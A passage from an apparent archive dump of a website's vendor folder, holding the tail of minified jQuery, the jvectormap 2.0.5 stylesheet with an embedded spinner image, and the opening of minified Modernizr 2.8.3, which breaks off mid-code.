0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),p=w.event.special[m]||{},o||!p.trigger||!1!==p.trigger.apply(i,n))){if(!o&&!p.noBubble&&!v(i)){for(l=p.delegateType||m,lt.test(l+m)||(u=u.parentNode);u;u=u.parentNode)y.push(u),s=u;s===(i.ownerDocument||r)&&y.push(s.defaultView||s.parentWindow||e)}a=0;while((u=y[a++])&&!t.isPropagationStopped())h=u,t.type=a>1?l:p.bindType||m,(d=(K.get(u,"events")||{})[t.type]&&K.get(u,"handle"))&&d.apply(u,n),(d=c&&u[c])&&d.apply&&Y(u)&&(t.result=d.apply(u,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||p._default&&!1!==p._default.apply(y.pop(),n)||!Y(i)||c&&g(i[m])&&!v(i)&&((s=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,ct),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,ct),w.event.triggered=void 0,s&&(i[c]=s)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=K.access(r,t);i||r.addEventListener(e,n,!0),K.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=K.access(r,t)-1;i?K.access(r,t,i):(r.removeEventListener(e,n,!0),K.remove(r,t))}}});var ft=/\[\]$/,dt=/\r?\n/g,pt=/^(?:submit|button|image|reset|file)$/i,ht=/^(?:input|select|textarea|keygen)/i;function gt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||ft.test(e)?r(e,i):gt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==b(t))r(e,t);else for(i in t)gt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)gt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&ht.test(this.nodeName)&&!pt.test(e)&&(this.checked||!de.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(dt,"\r\n")}}):{name:t.name,value:n.replace(dt,"\r\n")}}).get()}}),w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=S.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=be([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.offset={setOffset:function(e,t,n){var r,i,o,a,u,s,l,c=w.css(e,"position"),f=w(e),d={};"static"===c&&(e.style.position="relative"),u=f.offset(),o=w.css(e,"top"),s=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+s).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(s)||0),g(t)&&(t=t.call(e,n,w.extend({},u))),null!=t.top&&(d.top=t.top-u.top+a),null!=t.left&&(d.left=t.left-u.left+i),"using"in t?t.using.call(e,d):f.css(d)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||xe})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return _(this,function(e,r,i){var o;if(v(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=ze(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),Me.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),u=n||(!0===i||!0===o?"margin":"border");return _(this,function(t,n,i){var o;return v(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,u):w.style(t,n,i,u)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=D,w.isFunction=g,w.isWindow=v,w.camelCase=Q,w.type=b,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var vt=e.jQuery,yt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=yt),t&&e.jQuery===w&&(e.jQuery=vt),w},t||(e.jQuery=e.$=w),w}); vendor/jquery-jvectormap-2.0.5.css000064400000014753151677214220012723 0ustar00svg { touch-action: none; } .jvectormap-container { width: 100%; height: 100%; position: relative; overflow: hidden; touch-action: none; } .jvectormap-tip { position: absolute; display: none; border: solid 1px #CDCDCD; border-radius: 3px; background: #292929; color: white; font-family: sans-serif, Verdana; font-size: smaller; padding: 3px; } .jvectormap-zoomin, .jvectormap-zoomout, .jvectormap-goback { position: absolute; left: 10px; border-radius: 3px; background: #292929; padding: 3px; color: white; cursor: pointer; line-height: 10px; text-align: center; box-sizing: content-box; } .jvectormap-zoomin, .jvectormap-zoomout { width: 10px; height: 10px; } .jvectormap-zoomin { top: 10px; } .jvectormap-zoomout { top: 30px; } .jvectormap-goback { bottom: 10px; z-index: 1000; padding: 6px; } .jvectormap-spinner { position: absolute; left: 0; top: 0; right: 0; bottom: 0; background: center no-repeat url(data:image/gif;base64,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); } .jvectormap-legend-title { font-weight: bold; font-size: 14px; text-align: center; } .jvectormap-legend-cnt { position: absolute; } .jvectormap-legend-cnt-h { bottom: 0; right: 0; } .jvectormap-legend-cnt-v { top: 0; right: 0; } .jvectormap-legend { background: black; color: white; border-radius: 3px; } .jvectormap-legend-cnt-h .jvectormap-legend { float: left; margin: 0 10px 10px 0; padding: 3px 3px 1px 3px; } .jvectormap-legend-cnt-h .jvectormap-legend .jvectormap-legend-tick { float: left; } .jvectormap-legend-cnt-v .jvectormap-legend { margin: 10px 10px 0 0; padding: 3px; } .jvectormap-legend-cnt-h .jvectormap-legend-tick { width: 40px; } .jvectormap-legend-cnt-h .jvectormap-legend-tick-sample { height: 15px; } .jvectormap-legend-cnt-v .jvectormap-legend-tick-sample { height: 20px; width: 20px; display: inline-block; vertical-align: middle; } .jvectormap-legend-tick-text { font-size: 12px; } .jvectormap-legend-cnt-h .jvectormap-legend-tick-text { text-align: center; } .jvectormap-legend-cnt-v .jvectormap-legend-tick-text { display: inline-block; vertical-align: middle; line-height: 20px; padding-left: 3px; }vendor/modernizr-2.8.3.min.js000064400000036236151677214220011661 0ustar00/* Modernizr 2.8.3 (Custom Build) | MIT & BSD * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-applicationcache-canvas-canvastext-draganddrop-hashchange-history-audio-video-indexeddb-input-inputtypes-localstorage-postmessage-sessionstorage-websockets-websqldatabase-webworkers-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-mq-cssclasses-addtest-prefixed-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load */ ;window.Modernizr=function(a,b,c){function D(a){j.cssText=a}function E(a,b){return D(n.join(a+";")+(b||""))}function F(a,b){return typeof a===b}function G(a,b){return!!~(""+a).indexOf(b)}function H(a,b){for(var d in a){var e=a[d];if(!G(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function I(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:F(f,"function")?f.bind(d||b):f}return!1}function J(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return F(b,"string")||F(b,"undefined")?H(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),I(e,b,c))}function K(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)u[c[d]]=c[d]in k;return u.list&&(u.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),u}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(f)&&k.style.WebkitAppearance!==c?(g.appendChild(k),h=b.defaultView,e=h.getComputedStyle&&h.getComputedStyle(k,null).WebkitAppearance!=="textfield"&&k.offsetHeight!==0,g.removeChild(k)):/^(search|tel)$/.test(f)||(/^(url|email)$/.test(f)?e=k.checkValidity&&k.checkValidity()===!1:e=k.value!=l)),t[a[d]]=!!e;return t}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var d="2.8.3",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k=b.createElement("input"),l=":)",m={}.toString,n=" -webkit- -moz- -o- -ms- ".split(" "),o="Webkit Moz O ms",p=o.split(" "),q=o.toLowerCase().split(" "),r={svg:"http://www.w3.org/2000/svg"},s={},t={},u={},v=[],w=v.slice,x,y=function(a,c,d,e){var f,i,j,k,l=b.createElement("div"),m=b.body,n=m||b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:h+(d+1),l.appendChild(j);return f=["­",'<style id="s',h,'">',a,"</style>"].join(""),l.id=h,(m?l:n).innerHTML+=f,n.appendChild(l),m||(n.style.background="",n.style.overflow="hidden",k=g.style.overflow,g.style.overflow="hidden",g.appendChild(n)),i=c(l,a),m?l.parentNode.removeChild(l):(n.parentNode.removeChild(n),g.style.overflow=k),!!i},z=function(b){var c=a.matchMedia||a.msMatchMedia;if(c)return c(b)&&c(b).matches||!1;var d;return y("@media "+b+" { #"+h+" { position: absolute; } }",function(b){d=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle)["position"]=="absolute"}),d},A=function(){function d(d,e){e=e||b.createElement(a[d]||"div"),d="on"+d;var f=d in e;return f||(e.setAttribute||(e=b.createElement("div")),e.setAttribute&&e.removeAttribute&&(e.setAttribute(d,""),f=F(e[d],"function"),F(e[d],"undefined")||(e[d]=c),e.removeAttribute(d))),e=null,f}var a={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return d}(),B={}.hasOwnProperty,C;!F(B,"undefined")&&!F(B.call,"undefined")?C=function(a,b){return B.call(a,b)}:C=function(a,b){return b in a&&F(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=w.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(w.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(w.call(arguments)))};return e}),s.flexbox=function(){return J("flexWrap")},s.canvas=function(){var a=b.createElement("canvas");return!!a.getContext&&!!a.getContext("2d")},s.canvastext=function(){return!!e.canvas&&!!F(b.createElement("canvas").getContext("2d").fillText,"function")},s.webgl=function(){return!!a.WebGLRenderingContext},s.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:y(["@media (",n.join("touch-enabled),("),h,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=a.offsetTop===9}),c},s.geolocation=function(){return"geolocation"in navigator},s.postmessage=function(){return!!a.postMessage},s.websqldatabase=function(){return!!a.openDatabase},s.indexedDB=function(){return!!J("indexedDB",a)},s.hashchange=function(){return A("hashchange",a)&&(b.documentMode===c||b.documentMode>7)},s.history=function(){return!!a.history&&!!history.pushState},s.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},s.websockets=function(){return"WebSocket"in a||"MozWebSocket"in a},s.rgba=function(){return D("background-color:rgba(150,255,150,.5)"),G(j.backgroundColor,"rgba")},s.hsla=function(){return D("background-color:hsla(120,40%,100%,.5)"),G(j.backgroundColor,"rgba")||G(j.backgroundColor,"hsla")},s.multiplebgs=function(){return D("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(j.background)},s.backgroundsize=function(){return J("backgroundSize")},s.borderimage=function(){return J("borderImage")},s.borderradius=function(){return J("borderRadius")},s.boxshadow=function(){return J("boxShadow")},s.textshadow=function(){return b.createElement("div").style.textShadow===""},s.opacity=function(){return E("opacity:.55"),/^0.55$/.test(j.opacity)},s.cssanimations=function(){return J("animationName")},s.csscolumns=function(){return J("columnCount")},s.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";return D((a+"-webkit- ".split(" ").join(b+a)+n.join(c+a)).slice(0,-a.length)),G(j.backgroundImage,"gradient")},s.cssreflections=function(){return J("boxReflect")},s.csstransforms=function(){return!!J("transform")},s.csstransforms3d=function(){var a=!!J("perspective");return a&&"webkitPerspective"in g.style&&y("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(b,c){a=b.offsetLeft===9&&b.offsetHeight===3}),a},s.csstransitions=function(){return J("transition")},s.fontface=function(){var a;return y('@font-face {font-family:"font";src:url("https://")}',function(c,d){var e=b.getElementById("smodernizr"),f=e.sheet||e.styleSheet,g=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"";a=/src/i.test(g)&&g.indexOf(d.split(" ")[0])===0}),a},s.generatedcontent=function(){var a;return y(["#",h,"{font:0/0 a}#",h,':after{content:"',l,'";visibility:hidden;font:3px/1 a}'].join(""),function(b){a=b.offsetHeight>=3}),a},s.video=function(){var a=b.createElement("video"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,"")}catch(d){}return c},s.audio=function(){var a=b.createElement("audio"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,"")}catch(d){}return c},s.localstorage=function(){try{return localStorage.setItem(h,h),localStorage.removeItem(h),!0}catch(a){return!1}},s.sessionstorage=function(){try{return sessionStorage.setItem(h,h),sessionStorage.removeItem(h),!0}catch(a){return!1}},s.webworkers=function(){return!!a.Worker},s.applicationcache=function(){return!!a.applicationCache},s.svg=function(){return!!b.createElementNS&&!!b.createElementNS(r.svg,"svg").createSVGRect},s.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==r.svg},s.smil=function(){return!!b.createElementNS&&/SVGAnimate/.test(m.call(b.createElementNS(r.svg,"animate")))},s.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(m.call(b.createElementNS(r.svg,"clipPath")))};for(var L in s)C(s,L)&&(x=L.toLowerCase(),e[x]=s[L](),v.push((e[x]?"":"no-")+x));return e.input||K(),e.addTest=function(a,b){if(typeof a=="object")for(var d in a)C(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},D(""),i=k=null,function(a,b){function l(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a=="string"?a.split(" "):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function q(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?o(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a||(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCSS&&(c.hasCSS=!!l(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),k||q(a,c),a}var c="3.7.0",d=a.html5||{},e=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,f=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,g,h="_html5shiv",i=0,j={},k;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",g="hidden"in a,k=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress 